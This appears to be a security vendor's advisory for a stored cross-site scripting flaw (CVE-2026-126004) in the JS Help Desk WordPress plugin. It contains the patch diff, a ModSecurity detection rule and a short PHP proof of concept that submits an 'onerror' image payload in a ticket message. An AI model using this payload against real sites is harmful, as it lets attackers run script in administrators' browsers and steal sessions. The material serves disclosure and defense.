                             $jsst_vardata = implode(', ', array_filter($jsst_vardata));
                         }
-                        $jsst_params[$jsst_as_ticket_custom_field["jshd_filedorderingfield"]] = jssupportticketphplib::JSST_htmlentities($jsst_vardata);
+                        $jsst_params[$jsst_as_ticket_custom_field["jshd_filedorderingfield"]] = (string) $jsst_vardata;
                     }
                 }
             }
-            $jsst_ticketparams = html_entity_decode(wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE));
+            $jsst_ticketparams = wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE);
             $jsst_post_meta = get_post_meta($jsst_ticket->ID);


@@ -4118,12 +4118,12 @@
                             if(is_array($jsst_vardata)){
                                 $jsst_vardata = implode(', ', array_filter($jsst_vardata));
                             }
-                            $jsst_params[$jsst_js_ticket_custom_field] = jssupportticketphplib::JSST_htmlentities($jsst_vardata);
+                            $jsst_params[$jsst_js_ticket_custom_field] = (string) $jsst_vardata;
                         }
                     }
                 }
             }
-            $jsst_ticketparams = html_entity_decode(wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE));
+            $jsst_ticketparams = wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE);

             // Get linked data
             $jsst_userinfo = $this->getFluentSupportTicketCustomerInfo($jsst_ticket->customer_id);
--- a/js-support-ticket/modules/ticket/model.php
+++ b/js-support-ticket/modules/ticket/model.php
@@ -1625,7 +1625,11 @@
                 if(is_array($jsst_vardata)){
                     $jsst_vardata = implode(', ', array_filter($jsst_vardata));
                 }
-                $jsst_params[$jsst_ufobj->field] = jssupportticketphplib::JSST_htmlentities($jsst_vardata);
+                /* As sanitised, not entity-encoded: the encoding used to be undone
+                   on the whole JSON below, which turned an answer's quote mark back
+                   into a bare " inside the JSON - the answers were lost, or one
+                   answer could write another field's value. (5.0.6) */
+                $jsst_params[$jsst_ufobj->field] = (string) $jsst_vardata;
             }
         }
         if($jsst_data['id'] != ''){
@@ -1644,7 +1648,7 @@
                 }
             }
         }
-        $jsst_params = html_entity_decode(wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE));
+        $jsst_params = wp_json_encode($jsst_params, JSON_UNESCAPED_UNICODE);
         $jsst_data['params'] = $jsst_params;
         //custom field code end

@@ -4358,7 +4362,8 @@
             }
             $jsst_out[] = array(
                 'id'        => (int) $jsst_reply->id,
-                'text'      => $jsst_reply->message,
+                // Filtered here as well: replies stored before 5.0.6 may be raw mail.
+                'text'      => wp_kses_post($jsst_reply->message),
                 'plain'     => $jsst_text,
                 'created'   => $jsst_reply->created,
                 'ticket_id' => $jsst_tid,
--- a/js-support-ticket/modules/ticket/tpls/admin_ticketdetail.php
+++ b/js-support-ticket/modules/ticket/tpls/admin_ticketdetail.php
@@ -9,7 +9,11 @@
 wp_enqueue_style('jquery-ui-css', JSST_PLUGIN_URL . 'includes/css/jquery-ui-smoothness.css', array(), jssupportticket::$_config['productversion']);
 wp_enqueue_script('timer.js', JSST_PLUGIN_URL . 'includes/js/timer.jquery.js', array(), jssupportticket::$_config['productversion'], true);
 wp_enqueue_style('jssupportticket-venobox-css', JSST_PLUGIN_URL . 'includes/css/venobox.css', array(), jssupportticket::$_config['productversion']);
-wp_enqueue_script('venoboxjs',JSST_PLUGIN_URL.'includes/js/venobox.js', array(), jssupportticket::$_config['productversion'], true);
+wp_enqueue_script('venoboxjs',JSST_PLUGIN_URL.'includes/js/venobox.js', array(), jssupportticket::$_config['productversion'].'.'.filemtime(JSST_PLUGIN_PATH.'includes/js/venobox.js'), true);
+/* Marks the AI-example toggles this page draws. A message can carry a button with the same
+   class and data-id (kses keeps both), so the click handler acts only on a toggle bearing this
+   per-page key, which stored content cannot know. (5.0.6) */
+$jsst_aitoggle_key = wp_generate_password(16, false, false);
 /* Always core's own modules now. (Roadmap 6.0-AI-01) The add-on's
    model and core's are the same two functions, and routing to the
    add-on whenever it happened to be active meant a site that had it
@@ -624,6 +628,7 @@
             jQuery(document).on("click", ".js-ticket-ai-example", function(e) {
                 e.preventDefault();
                 var btn = jQuery(this);
+                if (btn.attr("data-k") !== "'.esc_js($jsst_aitoggle_key).'") return; // not one this page drew
                 var wasOff = btn.hasClass("js-ticket-ai-example-off");
                 btn.toggleClass("js-ticket-ai-example-off", !wasOff)
                    .attr("aria-checked", wasOff ? "true" : "false")
@@ -1513,15 +1518,12 @@
         });//jquery closed
     }

-    // smooth scroll
+    /* The "smooth scroll" handler that stood here passed the href of any a.smooth-scroll link
+       to jQuery(), which builds HTML from a string starting with "<". This
+       page prints no such link, so it only ever acted on one written into a
+       ticket message, reply or note - a script written by a customer ran when an
+       administrator clicked it. Removed (5.0.6). */
     jQuery(document).ready(function(){
-        jQuery("a.smooth-scroll").on("click", function(e) {
-            e.preventDefault();
-            var anchor = jQuery(this);
-            jQuery("html, body").stop().animate({
-                scrollTop: jQuery(anchor.attr("href")).offset().top - 10
-            }, 1000);
-        });
         jQuery("span.js-ticket-thread-read-status-wrp").hover(
             function(e){
                 jQuery(this).find("span.js-ticket-thread-read-status-detail").css("display","inline-block");
@@ -2159,7 +2161,7 @@
                             </div>
                             <?php } ?>
                             <div class="js-tkt-det-tkt-msg">
-                                <?php echo wp_kses_post(jssupportticket::$jsst_data[0]->message); ?>
+                                <?php echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post(jssupportticket::$jsst_data[0]->message)); ?>
                             </div>
                             <?php
                             $jsst_formid = jssupportticket::$jsst_data[0]->multiformid;
@@ -2523,7 +2525,7 @@
                                                 <?php } ?>
                                                 <div class="js-ticket-thread-data note-msg">
                                                 <?php
-                                                    echo wp_kses_post($jsst_note->note);
+                                                    echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post($jsst_note->note));
                                                     if ( $jsst_note->filedeleted == 1 ) { ?>
                                                         <div class="jsst-attachment-purged">
                                                             <svg class="jsst-purged-icon" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
@@ -2602,7 +2604,7 @@
                                     </span>
                                 </div>
                                 <div class="js-ticket-thread-data note-msg">
-                                    <?php echo wp_kses_post(jssupportticket::$jsst_data[0]->message);
+                                    <?php echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post(jssupportticket::$jsst_data[0]->message));
                                     ?>
                                 </div>

@@ -2750,7 +2752,7 @@
                                                 $jsst_ai_off = ((int) $jsst_reply->aireplymode === 2); ?>
                                                 <button type="button"
                                                     class="js-ticket-ai-example<?php echo $jsst_ai_off ? ' js-ticket-ai-example-off' : ''; ?>"
-                                                    data-type="reply" data-id="<?php echo esc_attr($jsst_reply->replyid); ?>"
+                                                    data-type="reply" data-id="<?php echo esc_attr($jsst_reply->replyid); ?>" data-k="<?php echo esc_attr($jsst_aitoggle_key); ?>"
                                                     role="switch"
                                                     aria-checked="<?php echo $jsst_ai_off ? 'false' : 'true'; ?>"
                                                     title="<?php echo esc_attr__('Whether the AI may offer this reply as an example when answering a similar ticket. Nothing leaves your site: the suggestions are a search of your own past replies.', 'js-support-ticket'); ?>">
@@ -2767,7 +2769,7 @@
                                         </div>
                                         <div class="js-ticket-thread-data note-msg">
                                             <?php // A ticket link in a stored reply belongs to whoever is reading it. (Roadmap 4.0-CORE-01)
-                                            echo wp_kses_post(JSSTticketlink::resolve(html_entity_decode($jsst_reply->message))); ?>
+                                            echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post(JSSTticketlink::resolve(html_entity_decode($jsst_reply->message)))); ?>
                                         </div>
                                         <?php
                                             if (!empty($jsst_reply->attachments)) {
--- a/js-support-ticket/modules/ticket/tpls/myticket.php
+++ b/js-support-ticket/modules/ticket/tpls/myticket.php
@@ -110,6 +110,10 @@
     }
     /* JSSTbreadcrumbs::getBreadcrumbs(); */
     include_once(JSST_PLUGIN_PATH . 'includes/header.php');
+    // Confirming the address brings in the tickets sent before the account existed. (5.0.6)
+    if (class_exists('JSSTemailproof')) {
+        echo wp_kses(JSSTemailproof::notice(), JSST_ALLOWED_TAGS);
+    }
     if (JSSTincluder::getObjectClass('user')->uid() != 0) {
         $jsst_list = isset(jssupportticket::$_search['ticket']) ? jssupportticket::$_search['ticket']['list'] : 1;
         $jsst_open = ($jsst_list == 1) ? 'active' : '';
--- a/js-support-ticket/modules/ticket/tpls/ticketdetail.php
+++ b/js-support-ticket/modules/ticket/tpls/ticketdetail.php
@@ -40,7 +40,11 @@
     wp_enqueue_style('jquery.cluetip', JSST_PLUGIN_URL . 'includes/css/jquery.cluetip.css', array(), jssupportticket::$_config['productversion']);
         wp_enqueue_script('timer.js', JSST_PLUGIN_URL . 'includes/js/timer.jquery.js', array(), jssupportticket::$_config['productversion'], true);
         wp_enqueue_style('jssupportticket-venobox-css', JSST_PLUGIN_URL . 'includes/css/venobox.css', array(), jssupportticket::$_config['productversion']);
-        wp_enqueue_script('venoboxjs',JSST_PLUGIN_URL.'includes/js/venobox.js', array(), jssupportticket::$_config['productversion'], true);
+        wp_enqueue_script('venoboxjs',JSST_PLUGIN_URL.'includes/js/venobox.js', array(), jssupportticket::$_config['productversion'].'.'.filemtime(JSST_PLUGIN_PATH.'includes/js/venobox.js'), true);
+        /* Marks the AI-example toggles this page draws. A message can carry a button with the same
+           class and data-id (kses keeps both), so the click handler acts only on a toggle bearing this
+           per-page key, which stored content cannot know. (5.0.6) */
+        $jsst_aitoggle_key = wp_generate_password(16, false, false);
         /* Always core's own modules now. (Roadmap 6.0-AI-01) The add-on's
            model and core's are the same two functions, and routing to the
            add-on whenever it happened to be active meant a site that had it
@@ -782,6 +786,7 @@
                 jQuery(document).on("click", ".js-ticket-ai-example", function(e) {
                     e.preventDefault();
                     var btn = jQuery(this);
+                    if (btn.attr("data-k") !== "'.esc_js($jsst_aitoggle_key).'") return; // not one this page drew
                     var wasOff = btn.hasClass("js-ticket-ai-example-off");
                     btn.toggleClass("js-ticket-ai-example-off", !wasOff)
                        .attr("aria-checked", wasOff ? "true" : "false")
@@ -2038,7 +2043,7 @@
                                                 <div class="js-ticket-rows-wrp" >
                                                     <div class="js-ticket-row">
                                                         <div class="js-ticket-field-value">
-                                                           <?php echo wp_kses_post($jsst_note->note); ?>
+                                                           <?php echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post($jsst_note->note)); ?>
                                                         </div>
                                                     </div>
                                                 </div>
@@ -2143,7 +2148,7 @@
                                     <?php
                                 } ?>
                                 <div class="js-ticket-thread-data note-msg">
-                                    <?php echo wp_kses_post(jssupportticket::$jsst_data[0]->message); ?>
+                                    <?php echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post(jssupportticket::$jsst_data[0]->message)); ?>
                                     <?php
                                     if (!empty(jssupportticket::$jsst_data['ticket_attachment'])) { ?>
                                         <div class="js-ticket-attachments-wrp">
@@ -2312,7 +2317,7 @@
                                                             $jsst_ai_off = ((int) $jsst_reply->aireplymode === 2); ?>
                                                             <button type="button"
                                                                 class="js-ticket-ai-example<?php echo $jsst_ai_off ? ' js-ticket-ai-example-off' : ''; ?>"
-                                                                data-type="reply" data-id="<?php echo esc_attr($jsst_reply->replyid); ?>"
+                                                                data-type="reply" data-id="<?php echo esc_attr($jsst_reply->replyid); ?>" data-k="<?php echo esc_attr($jsst_aitoggle_key); ?>"
                                                                 role="switch"
                                                                 aria-checked="<?php echo $jsst_ai_off ? 'false' : 'true'; ?>"
                                                                 title="<?php echo esc_attr__('Whether the AI may offer this reply as an example when answering a similar ticket. Nothing leaves your site: the suggestions are a search of your own past replies.', 'js-support-ticket'); ?>">
@@ -2342,7 +2347,7 @@
                                             </div>
                                             <div class="js-ticket-thread-data note-msg">
                                                 <?php // A ticket link in a stored reply belongs to whoever is reading it. (Roadmap 4.0-CORE-01)
-                                                echo wp_kses_post(JSSTticketlink::resolve(html_entity_decode($jsst_reply->message)));
+                                                echo JSSTincluder::getJSModel('jssupportticket')->stripViewerMarkup(wp_kses_post(JSSTticketlink::resolve(html_entity_decode($jsst_reply->message))));
                                                 $jsst_active_count = 0; // Counter for active attachments
                                                 ?>
                                                 <?php if (!empty($jsst_reply->attachments)) { ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126004
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026126004,phase:2,deny,status:403,chain,msg:'CVE-2026-126004 via JS Help Desk ticket submission',severity:'CRITICAL',tag:'CVE-2026-126004'"
  SecRule ARGS_POST:action "@streq jsst_submit_ticket" "chain"
    SecRule ARGS_POST:jsticket_message "@rx <script|onerror=|onload=|javascript:" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126004 - JS Help Desk <= 5.0.5 - Unauthenticated Stored Cross-Site Scripting via 'jsticket_message' Parameter

$target_url = 'http://example.com'; // Change to your WordPress site URL

// Step 1: Submit a ticket with a malicious message
$ticket_data = [
    'jsst_ticket_subject' => 'Test Ticket',
    'jsst_ticket_message' => '<img src=x onerror=alert(document.cookie)>', // XSS payload
    'jsst_ticket_email' => 'attacker@example.com',
    'jsst_ticket_name' => 'Attacker',
    // Add other required fields as per the plugin's ticket form
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['action' => 'jsst_submit_ticket'] + $ticket_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Ticket submitted. Check admin panel for execution.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.